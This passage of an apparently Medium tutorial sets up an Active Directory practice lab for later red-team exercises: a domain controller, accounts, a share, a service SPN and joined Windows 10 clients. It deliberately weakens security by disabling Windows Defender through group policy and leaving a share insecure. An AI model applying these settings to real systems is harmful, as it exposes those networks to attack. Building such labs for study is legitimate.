/></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*1k4YcOCNmkn6L6MUGqugNg.png" /></figure><p>Choose your location, give it a name, specify the disk capacity, review your choices, and when you’re satisfied, go ahead and finish the setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*Zh5kCIYG7ZsjAOdy7M6IPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*4CRspbuP0eM5C5kt98pWYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*B4JzNdrpec4KPS_Y_qzKLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*KlMFtVSdBsxjyWdCSCD5EA.png" /></figure><p>Customize the RAM allocation based on your requirements, and once you’ve made the adjustments, proceed with the installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*UPmnhv3kT0SqXUCluIyAjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*XbArVixQb7WWPW85rX27mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*AAaxhh5z_JX5oYbwk3QK4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*YCgJMzYrwpB2-9-gb2vGkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HYI9vcYWZbPtqd-oyh_LsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*uf6Elf9FTcO4k3lbQiFqoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*He3siy0199e1bf39GFrfPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*wFwBLc4XP5vQVrBy6vo2iA.png" /></figure><p>“This time, let’s rename the PC to something friendlier, and you can do it with the ease of a graphical user interface (GUI).</p><p>Now, go through the same process to set up a second Windows PC.</p><p>This is how your VMware environment should appear. Yes, I have numerous VMs — I like to explore and experiment!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*lquW5A0JkxsB-qVA7TQDWw.png" /></figure><p>To access Active Directory Users and Computers, simply click on ‘Tools,’ and from there, select ‘Active Directory Users and Computers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*5ic7DT3LzNP61H8SfaZ76A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*uJ0waX3gq3kPeRhyHNED6Q.png" /></figure><p>When you expand the 110_SIU.local domain, you’ll notice the various Organizational Units (OUs) neatly organized within.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*XukkDqTmG50L5rvXv_szxg.png" /></figure><p>To create a new user object, follow these steps: Right-click on ‘Users,’ navigate to ‘New,’ and then select ‘User.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*ecccIgFJ07vTRYxCr6PeAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*gN30YjKFl9YlineWRw-x_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*7diOU0E1kkH-SgxXRWeEVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*ZmrYVxhMdQrOUZ20tyCkNQ.png" /></figure><p>You can simplify the process by copying the user object type to create multiple users, including an administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*rvUHEJEkSSoC76vV6jxQAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*n6IepcQOPRQYNaWNEt-9VA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*05ITRSTykwFHNWigZxoGrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZcR0_79g3Qyu6yye4S6Q3A.png" /></figure><p>Let’s configure a service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*WHOOzmRcTEcBdykpPzLlYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*qhA44gLi6Ghl-tMlGsva-A.png" /></figure><p>Now, it’s time to establish a share. To initiate the process, click on ‘File and Storage Services,’ then select ‘New Share’ under ‘Tasks,’ and follow the prompts to set up your share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AZRT-9JvBHthaedFQXM9dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RuTuR-BXe8fvyR_V7DdWwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*6fwAtxw8m0vPe7g5JgM_zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*7lOHXfBfnlvaqRooCMp8NQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*U9zC-cTwte1iAKxQPpP30g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*nLYVRYwMKu-xH2sOlKHaSA.png" /></figure><p>It’s important to note that this share setup is not secure. Exercise caution and ensure you implement proper security measures to protect your data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0PjSYfjhfhOjawpj043zg.png" /></figure><h4>Understanding the Importance of SPN in Secure Authentication</h4><p>SPN stands for “Service Principal Name.” It is a unique identifier for a service running on a computer within an Active Directory domain. SPNs associate a service instance with a service logon account, allowing clients to authenticate and communicate with the service securely. SPNs are crucial for services that use Kerberos authentication in Windows environments. They help establish a secure connection between clients and services, ensuring proper authentication and encryption.</p><pre>setspn -a Reacher-DC/SQLService.110_SIU.local:60111 110_SIU\SQLService</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*oxG1zjnA_YtokWJf8fZGxg.png" /></figure><h3>Configuring Group Policy: Disabling Windows Defender</h3><p>We’ll now configure a group policy to disable Windows Defender temporarily. Please note that this action is not recommended for a production environment due to security concerns. We are demonstrating this process to showcase how group policies are set up and to raise awareness about potential security vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*gu4sVWJ96Aqpof3Y-AMMeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*aPlI7oUkaofLTruNFbAmAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*p3zrc8EzJcKKxCRqyRbPkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*_yIUhXO8SkB0_DPp6Oxg_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*PwVyobdx_jmbtIjnEUFffg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*q_fRxOOaQoCMiNPr5xV8GQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JRi0kknanjFmnSuNYJqbNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*Waof-5G4L4kO_IBdm94bVQ.png" /></figure><h3>Joining a PC to a Domain: A Step-by-Step Guide for Seamless Integration</h3><p>Search for ‘Domain’ and Select ‘Access Work or School</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*jxf8wcY9ZiZ5YpoQXp3N4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*QqMwKHJAhWNVO9W6rEPmOw.png" /></figure><p>Click ‘Connect’ and then select ‘Join this device to a local Active Directory domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*r1q8VqtWNcN8St24xM-udA.png" /></figure><p>Enter the domain name and provide the domain administrator password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*MPoVtoQc0wbJGzeHA9wKCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*YdxNsZglmTHRAQBz18ZHmA.png" /></figure><p>Restart your PC, and upon reboot, log in to the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*lF89Lx5W6bC51DpB1k8fvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*BHY3APYUtX50GUZvT5UPeg.png" /></figure><p>In this article, we’ve covered a comprehensive setup, including configuring a Windows Server 2022 as a Domain Controller, establishing connections with two Windows 10 machines linked to the domain, and creating multiple user, administrator, and service accounts. We’ve delved into the intricacies of group policy and recognized the significance of Service Principal Names (SPN).</p><p>For added safety and flexibility, take snapshots of each VM to revert in case of unexpected issues. This foundation will serve as a springboard for future explorations, where we’ll delve into the world of Active Directory security and examine how red teams approach and attack these environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f003c814f0a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>